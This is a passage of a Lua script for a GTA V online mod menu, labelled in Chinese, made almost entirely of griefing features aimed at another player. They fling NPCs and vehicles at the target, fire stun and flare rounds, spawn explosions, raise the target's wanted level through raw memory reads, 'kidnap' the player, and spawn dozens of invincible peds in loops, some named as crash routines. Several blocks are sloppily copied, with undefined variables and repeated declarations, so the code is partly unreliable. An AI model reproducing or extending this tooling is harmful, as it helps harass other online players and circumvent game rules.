				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        speed = 100
                        local x_vec = (holecoords['x']-vcoords['x'])*speed
                        local y_vec = (holecoords['y']-vcoords['y'])*speed
                        local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                        ENTITY.SET_ENTITY_INVINCIBLE(veh, true)
                        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, x_vec, y_vec, z_vec, true, false, true, true)
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

    GTLP(BlackholeEntities,"NPC黑洞", {"pedblackholes"}, "", function(on)
		for k, veh in pairs(entities.get_all_peds_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        speed = 100
                        local x_vec = (holecoords['x']-vcoords['x'])*speed
                        local y_vec = (holecoords['y']-vcoords['y'])*speed
                        local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                        ENTITY.SET_ENTITY_INVINCIBLE(veh, true)
                        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, x_vec, y_vec, z_vec, true, false, true, true)
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				    end
			    end
            end
        end)

    hole_zoff = 50
    GTluaScript.slider(BlackholeEntities, "方向", {"blackholeoffset"}, "", 0, 100, 50, 10, function(s)
    hole_zoff = s
    end)

	centipedegriefing = GT(jindianegao, "人类蜈蚣", {}, "", function(); end)

    GTAC(centipedegriefing, "人类蜈蚣", {"centipede"}, "", function()
        local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        all_peds = entities.get_all_peds_as_handles()
        local last_ped = 0
        local last_ped_ht = 0
        for k,ped in pairs(all_peds) do
            if not PED.IS_PED_A_PLAYER(ped) and not PED.IS_PED_FATALLY_INJURED(ped) then
                get_control_request(ped)
                if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
                end
    
                ENTITY.DETACH_ENTITY(ped, false, false)
                if last_ped ~= 0 then
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(ped, last_ped, 0, 0.0, 0.0, last_ped_ht-0.5, 0.0, 0.0, 0.0, false, false, false, false, 0, false)
                else
                    ENTITY.SET_ENTITY_COORDS(ped, c.x, c.y, c.z)
                end
                last_ped = ped
            end
        end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)
    
    GTLP(centipedegriefing, "人类蜈蚣", {"togglecentipede"}, "", function(on_toggle)
        local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        all_peds = entities.get_all_peds_as_handles()
        local last_ped = 0
        local last_ped_ht = 0
        for k,ped in pairs(all_peds) do
            if not PED.IS_PED_A_PLAYER(ped) and not PED.IS_PED_FATALLY_INJURED(ped) then
                get_control_request(ped)
                if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
                end
    
                ENTITY.DETACH_ENTITY(ped, false, false)
                if last_ped ~= 0 then
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(ped, last_ped, 0, 0.0, 0.0, last_ped_ht-0.5, 0.0, 0.0, 0.0, false, false, false, false, 0, false)
                else
                    ENTITY.SET_ENTITY_COORDS(ped, c.x, c.y, c.z)
                end
                last_ped = ped
            end
        end
    end)

    local tormentplayer = GT(jindianegao, "折磨玩家")

    player_toggle_loop(tormentplayer, pid, "子弹轰炸", {"taseron"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        for i = 1, 50 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 1.0)
        end
        wait()
    end)

    player_toggle_loop(tormentplayer, pid, "抬起他", {"atomizeron"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        for i = 1, 24 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_raypistol"), players.user_ped(), false, true, 1.0)
        end
        wait()
    end)

    player_toggle_loop(tormentplayer, pid, "闪耀", {"flareon"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        for i = 1, 49 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_flare"), players.user_ped(), false, true, 1.0)
        end
        wait()
    end)

    player_toggle_loop(tormentplayer, pid, "烟花", {"fireworkon"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        for i = 1, 30 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_firework"), players.user_ped(), false, true, 1.0)
        end
        wait()
    end)

    GTLP(tormentplayer, "小行星", {"asteroidon"}, "", function() 
        local coords = players.get_position(pid)
        coords.z = coords['z'] + 15.0
        local asteroid = entities.create_object(3751297495, coords)
        ENTITY.SET_ENTITY_DYNAMIC(asteroid, true)
    end)

    GTLP(tormentplayer, "布偶猫", {"ragdollon"}, "", function()
        local coords = players.get_position(pid)
        coords.z = coords['z'] - 2.0
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 11, 1, false, true, 0, true)
        wait(10)
    end)

GTLP(tormentplayer, "鲜血飞溅", {"bloodslash"}, "", function(on_toggle)
        local pos = players.get_position(pid)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "blood_wheel", pos.x, pos.y, pos.z, 0, 0, 0, 2.5, false, false, false)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "blood_wheel", pos.x, pos.y, pos.z, 0, 0, 0, 2.5, false, false, false)
	end)

GTLP(tormentplayer, "电击", {"ptfxelectric"}, "", function(on_toggle)
    local pos = players.get_position(pid)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "ent_sht_electrical_box", pos.x, pos.y, pos.z, 0, 0, 0, 2.5, false, false, false)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "ent_sht_electrical_box", pos.x, pos.y, pos.z, 0, 0, 0, 2.5, false, false, false)
	end)

    GTAC(tormentplayer, "在他头上拉屎(巨大)", {"largeshit"}, "", function(on_toggle)
        GTluaScript.trigger_commands("tp" .. players.get_name(pid))
        local c = ENTITY.GET_ENTITY_COORDS(players.user_ped())
        c.z = c.z -1
        while not STREAMING.HAS_ANIM_DICT_LOADED(agroup) do 
            STREAMING.REQUEST_ANIM_DICT(agroup)
            wait()
        end
        TASK.TASK_PLAY_ANIM(player, agroup, anim, 8.0, 8.0, 3000, 0, 0, true, true, true)
        wait(100)
        entities.create_object(mshit, c)
        end)
    
    GTAC(tormentplayer, "在他头上拉屎(正常)", {"normalshit"}, "", function(on_toggle)
        GTluaScript.trigger_commands("tp" .. players.get_name(pid))
        local c = ENTITY.GET_ENTITY_COORDS(players.user_ped())
        c.z = c.z -1
        while not STREAMING.HAS_ANIM_DICT_LOADED(agroup) do 
            STREAMING.REQUEST_ANIM_DICT(agroup)
            wait()
        end
        TASK.TASK_PLAY_ANIM(player, agroup, anim, 8.0, 8.0, 3000, 0, 0, true, true, true)
        wait(100)
        entities.create_object(rshit, c)
    end)

    local crash_ents = {}
    local crash_toggle = false
    GTTG(tormentplayer, "构造蜈蚣", {"constructipede"}, "", function(val)
        crash_toggle = val
            if val then
                local ped_mdl = util.joaat("s_m_y_construct_01")
                local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
                local ped_pos = players.get_position(pid)
                ped_pos.z += 3
                request_model(ped_mdl)
                for i = 1, 49 do
                    local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                    crash_ents[i] = ped
                    PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                    TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                    ENTITY.SET_ENTITY_VISIBLE(ped, true)

                    local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
                    all_peds = entities.get_all_peds_as_handles()
                    local last_ped = 0
                    local last_ped_ht = 0
                    for k,ped in pairs(all_peds) do
                        if not PED.IS_PED_A_PLAYER(ped) and not PED.IS_PED_FATALLY_INJURED(ped) then
                            get_control_request(ped)
                            if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                                TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                                TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
                            end
                
                            ENTITY.DETACH_ENTITY(ped, false, false)
                            if last_ped ~= 0 then
                                ENTITY.ATTACH_ENTITY_TO_ENTITY(ped, last_ped, 0, 0, 0, last_ped_ht, 1, 05, 0, 0, false, false, false, false, 0, false)
                            else
                                ENTITY.SET_ENTITY_COORDS(ped, c.x, c.y, c.z)
                            end
                            last_ped = ped
                        end
                    end
                end
                repeat
                    for k, ped in crash_ents do
                        TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    end
                    for k, v in entities.get_all_objects_as_pointers() do
                        if entities.get_model_hash(v) == util.joaat("prop_tool_jackham") then
                            entities.delete_by_pointer(v)
                        end
                    end
                    wait()
                until not (crash_toggle and players.exists(pid))
                crash_toggle = false
                for k, obj in crash_ents do
                    entities.delete_by_handle(obj)
                end
                crash_ents = {}
            else
                for k, obj in crash_ents do
                    entities.delete_by_handle(obj)
                end
                crash_ents = {}
            end
    end)
    
    
    local crash_ents = {}
    local crash_toggle = false
    GTTG(tormentplayer, "噪音", {"jacknoise"}, "Sends Jack Hammmers to cause noise.", function(val)
        crash_toggle = val
            if val then
                local ped_mdl = util.joaat("s_m_y_construct_01")
                local ply_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
                local ped_pos = players.get_position(pid)
                ped_pos.z += 3
                request_model(ped_mdl)
                for i = 1, 48 do
                    local ped = entities.create_ped(26, ped_mdl, ped_pos, 0)
                    crash_ents[i] = ped
                    PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                    TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
                    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                    ENTITY.SET_ENTITY_VISIBLE(ped, false)
                end
                repeat
                    for k, ped in crash_ents do
                        TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                        TASK.TASK_START_SCENARIO_IN_PLACE(ped, "WORLD_HUMAN_CONST_DRILL", 0, false)
                    end
                    for k, v in entities.get_all_objects_as_pointers() do
                        if entities.get_model_hash(v) == util.joaat("prop_tool_jackham") then
                            entities.delete_by_pointer(v)
                        end
                    end
                    wait()
                    wait()
                until not (crash_toggle and players.exists(pid))
                crash_toggle = false
                for k, obj in crash_ents do
                    entities.delete_by_handle(obj)
                end
                crash_ents = {}
            else
                for k, obj in crash_ents do
                    entities.delete_by_handle(obj)
                end
                crash_ents = {}
            end
    end)

    GTLP(tormentplayer, "踪迹", {"crapon"}, "", function()
        local coords = players.get_position(pid)
        coords.z = coords['z'] + 1.5
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 35, 0, false, false, 0, false)
        wait(65)
    end)

    GTLP(tormentplayer, "掉落假袋子", {"dropfakebags"}, "Old School :D", function()
        local coords = players.get_position(pid)
        coords.z = coords.z + 1.5
        local card = MISC.GET_HASH_KEY("prop_money_bag_01")
        STREAMING.REQUEST_MODEL(card)
        if STREAMING.HAS_MODEL_LOADED(card) == false then  
            STREAMING.REQUEST_MODEL(card)
        end
        OBJECT.CREATE_AMBIENT_PICKUP(-1009939663, coords.x, coords.y, coords.z, 0, 1, card, false, true)
    end)

GTLP(tormentplayer, "闪光物理学", {"glitchphysics"}, "", function(on_toggle)
    local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local playerpos = ENTITY.GET_ENTITY_COORDS(id)
    playerpos.z = playerpos.z + 3

    local khanjali = util.joaat("prop_ld_ferris_wheel")
    STREAMING.REQUEST_MODEL(khanjali)
    while not STREAMING.HAS_MODEL_LOADED(khanjali) do
        wait()
    end

    local vehicle1 = entities.create_object(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
    local vehicle2 = entities.create_object(khanjali, playerpos, 0)
    local vehicle3 = entities.create_object(khanjali, playerpos, 0)
    local vehicle4 = entities.create_object(khanjali, playerpos, 0)

    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle1)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle2)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle3)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle4)

    ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
    ENTITY.SET_ENTITY_VISIBLE(vehicle1, false)
    wait(1200)
    entities.delete_by_handle(vehicle1)
end, nil, nil, COMMANDPERM_AGGRESSIVE)


GTLP(tormentplayer, "雨下在他头上", {"rainingpeds"}, "", function(on_toggle)
    --notification("Rain Peds sent to " .. PLAYER.GET_PLAYER_NAME(pids), colors.red)
    local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
    local ped_c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        all_peds = entities.get_all_peds_as_handles()
    for k,ped in pairs(all_peds) do
        if not PED.IS_PED_A_PLAYER(ped) then
            if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
            end
            ENTITY.IS_ENTITY_IN_AIR(ped)
            ENTITY.SET_ENTITY_COORDS(ped, ped_c.x, ped_c.y, ped_c.z)
            ped_c.x = ped_c.x + math.random(-5, 5)
            ped_c.y = ped_c.y + math.random(-5, 5)
            ped_c.z = ped_c.z + math.random(5, 10)
            ENTITY.SET_ENTITY_VELOCITY(ped, 0.0, 0.0, -1.0)
            wait(100)
        end
    end
end)

GTLP(tormentplayer, "车从他的头上下坠", {"rainveh"}, "", function(on_toggle)
    --notification("Rain Vehicles sent to " .. PLAYER.GET_PLAYER_NAME(pids), colors.red)
    local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
    local ped_c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        all_peds = entities.get_all_vehicles_as_handles()
    for k,ped in pairs(all_peds) do
        if not PED.IS_PED_A_PLAYER(ped) then
            if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
            end
            ENTITY.IS_ENTITY_IN_AIR(ped)
            ENTITY.SET_ENTITY_COORDS(ped, ped_c.x, ped_c.y, ped_c.z)
            ped_c.x = ped_c.x + math.random(-5, 5)
            ped_c.y = ped_c.y + math.random(-5, 5)
            ped_c.z = ped_c.z + math.random(5, 10)
            ENTITY.SET_ENTITY_VELOCITY(ped, 0.0, 0.0, -1.0)
            wait(100)
        end
    end
end)


GTLP(tormentplayer, "物体从他的头上下坠", {"rainobj"}, "", function(on_toggle)
    --notification("Rain Objects sent to " .. PLAYER.GET_PLAYER_NAME(pids), colors.red)
    local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
    local ped_c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        all_peds = entities.get_all_objects_as_handles()
    for k,ped in pairs(all_peds) do
        if not PED.IS_PED_A_PLAYER(ped) then
            if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
            end
            ENTITY.IS_ENTITY_IN_AIR(ped)
            ENTITY.SET_ENTITY_COORDS(ped, ped_c.x, ped_c.y, ped_c.z)
            ped_c.x = ped_c.x + math.random(-5, 5)
            ped_c.y = ped_c.y + math.random(-5, 5)
            ped_c.z = ped_c.z + math.random(5, 10)
            ENTITY.SET_ENTITY_VELOCITY(ped, 0.0, 0.0, -100.0)
            wait(0)
        end
    end
end)

GTLP(tormentplayer, "弯曲", {"bendknees"}, "Forces them down making them bend there knees.", function(on_toggle)
    for k, ped in pairs(entities.get_all_peds_as_handles()) do
        local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(ped, -1, false)
        local locspeed2 = speed
                local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if not PED.IS_PED_A_PLAYER(PedInSeat) then
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                    vcoords = ENTITY.GET_ENTITY_COORDS(ped, true)
                    speed = 100
                    local x_vec = (holecoords['x']-vcoords['x'])*speed
                    local y_vec = (holecoords['y']-vcoords['y'])*speed
                    local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
                    ENTITY.IS_ENTITY_IN_AIR(ped)
                    local ped_c = ENTITY.GET_ENTITY_COORDS(players.user_ped())
                    ped_c.x = ped_c.x + math.random(-50, 50)
                    ped_c.y = ped_c.y + math.random(-50, 50)
                    ped_c.z = ped_c.z + math.random(100, 120)
                    ENTITY.SET_ENTITY_VELOCITY(ped, 0.0, 0.0, -1.0)
                    if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
                VEHICLE.SET_VEHICLE_FORWARD_SPEED(ped, 0.0);
            end
        end
    end
end)

    GTluaScript.click_slider(tormentplayer, "通缉等级", {"wantedlevel"}, "它得等一会才能生效", 1, 5, 1, 1, function(value)
        local max_time = os.millis() + 10000
        local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local player_info = memory.read_long(entities.handle_to_pointer(player_ped) + 0x10C8)
        local failed = false

        if memory.read_uint(player_info + 0x0888) >= value then
            util.toast("通缉级别已经达到了 " .. memory.read_uint(player_info + 0x0888) .. ". :)")
            return
        end

        while not (memory.read_uint(player_info + 0x0888) >= value) and players.exists(pid) do
            local crime

            if os.millis() >= max_time then
                failed = true
                break
            end
            if value == 1 then
                crime = 28
            else
                crime = 14
            end

            PLAYER.REPORT_CRIME(pid, crime, value)
            wait()
        end

        if failed then
            util.toast("未能提高通缉级别. :/")
        else
            util.toast("通缉级别成功提升. :)")
        end
    end)
    
    GTLP(tormentplayer, "贴地飞行NPC", {"skydivepeds"}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
                all_peds = entities.get_all_peds_as_handles()
                player_ped = PLAYER.PLAYER_PED_ID()
                for k,ped in pairs(all_peds) do
                    if not PED.IS_PED_A_PLAYER(ped) then
                        TASK.TASK_SKY_DIVE(ped)
                    end
            end
    end)

    GTLP(tormentplayer, "扭动的NPC", {"writherpeds"}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
                all_peds = entities.get_all_peds_as_handles()
                player_ped = PLAYER.PLAYER_PED_ID()
                for k,ped in pairs(all_peds) do
                    if not PED.IS_PED_A_PLAYER(ped) then
                        TASK.TASK_WRITHE(ped, player_ped, -1, 0)
                    end
            end
    end)

    GTLP(tormentplayer, "有钱的NPC", {"vaultpeds"}, "", function()
        wait(1000)
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
                all_peds = entities.get_all_peds_as_handles()
                player_ped = PLAYER.PLAYER_PED_ID()
                for k,ped in pairs(all_peds) do
                    if not PED.IS_PED_A_PLAYER(ped) then
                        TASK.TASK_CLIMB(ped, true)
                    end
            end
    end)

    GTLP(tormentplayer, "畏缩NPC", {"cowerpeds"}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
                all_peds = entities.get_all_peds_as_handles()
                player_ped = PLAYER.PLAYER_PED_ID()
                for k,ped in pairs(all_peds) do
                    if not PED.IS_PED_A_PLAYER(ped) then
                        TASK.TASK_COWER(ped, -1)
                    end
            end
    end)

    GTLP(tormentplayer, "掩蔽NPC", {"coverpeds"}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
                all_peds = entities.get_all_peds_as_handles()
                player_ped = PLAYER.PLAYER_PED_ID()
                for k,ped in pairs(all_peds) do
                    if not PED.IS_PED_A_PLAYER(ped) then
                        TASK.TASK_STAY_IN_COVER(ped)
                    end
            end
    end)

    GTAC(tormentplayer,"绑架玩家", {}, "", function()
        veh_to_attach = 1
		V3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id)
		if table_kidnap == nil then
			table_kidnap = {}
		end
        hash1 = util.joaat("stockade")
        ped_hash = util.joaat("MP_M_Cocaine_01")
        if STREAMING.IS_MODEL_A_VEHICLE(hash1) then
            STREAMING.REQUEST_MODEL(hash1)
            while not STREAMING.HAS_MODEL_LOADED(hash1) do
                wait()
            end
            coords_ped = ENTITY.GET_ENTITY_COORDS(V3, true)
            local aab = 
			{
				x = -5784.258301,
				y = -8289.385742,
				z = -136.411270
			}
            ENTITY.SET_ENTITY_VISIBLE(ped_to_kidnap, false)
            ENTITY.FREEZE_ENTITY_POSITION(ped_to_kidnap, true)

            table_kidnap[veh_to_attach] = entities.create_vehicle(hash1, ENTITY.GET_ENTITY_COORDS(V3, true),
            CAM.GET_FINAL_RENDERED_CAM_ROT(0).z)
            while not STREAMING.HAS_MODEL_LOADED(ped_hash) do
                STREAMING.REQUEST_MODEL(ped_hash)
                wait()
            end
            ped_to_kidnap = entities.create_ped(28, ped_hash, aab, CAM.GET_FINAL_RENDERED_CAM_ROT(2).z)
            ped_to_drive = entities.create_ped(28, ped_hash, aab, CAM.GET_FINAL_RENDERED_CAM_ROT(2).z)
            ENTITY.SET_ENTITY_INVINCIBLE(ped_to_drive, true)
            ENTITY.SET_ENTITY_INVINCIBLE(table_kidnap[veh_to_attach], true)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(table_kidnap[veh_to_attach], ped_to_kidnap, 0, 0, 1, -1, 0, 0, 0, false,
                true, true, false, 0, false)
            ENTITY.SET_ENTITY_COORDS(ped_to_kidnap, coords_ped.x, coords_ped.y, coords_ped.z - 1, false, false, false,
                false)
            PED.SET_PED_INTO_VEHICLE(ped_to_drive, table_kidnap[veh_to_attach], -1)
            TASK.TASK_VEHICLE_DRIVE_WANDER(ped_to_drive, table_kidnap[veh_to_attach], 20, 16777216)
            wait(500)
            entities.delete_by_handle(ped_to_kidnap)
            veh_to_attach = veh_to_attach + 1
            STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash1)
            STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(ped_hash)
        end
	end)


local dwbz = GT(jindianegao, '生成畜生', {}, '')

    GTAC(dwbz, "狗炸", {}, "woof", function ()
        ped_explosion(pid, "a_c_retriever")
    end)

    GTAC(dwbz, "猫炸", {}, "Meow", function ()
        ped_explosion(pid, "a_c_cat_01")
    end)

    GTAC(dwbz, "假爆炸", {}, "Boom", function ()
        fake_explosion(pid)
    end)

attachoptions = GT(jindianegao, "附加选项", {}, "", function(); end)

     windmilling = GT(attachoptions, "垃圾风车", {}, "")

    GTLP(windmilling, "垃圾风车", {"togglemills"}, "", function(on_toggle)
 --       if pid ~= players.user() then
        local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)
        local Object_pizza2 = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
            OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        local Object_pizza2 = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
            OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        local Object_pizza2 = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
            OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        local Object_pizza2 = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
            OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, false)
        for i = 0, 100 do 
            local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true);
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza2, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza2, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza2, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza2, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
        wait(10)
        entities.delete_by_handle(Object_pizza2)
        entities.delete_by_handle(Object_pizza2)
        entities.delete_by_handle(Object_pizza2)
        entities.delete_by_handle(Object_pizza2)
        return
    end
    end)

    GTLP(windmilling, "V2", {"togglemillsv1"}, "", function(on_toggle)
        if pid ~= players.user() then
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
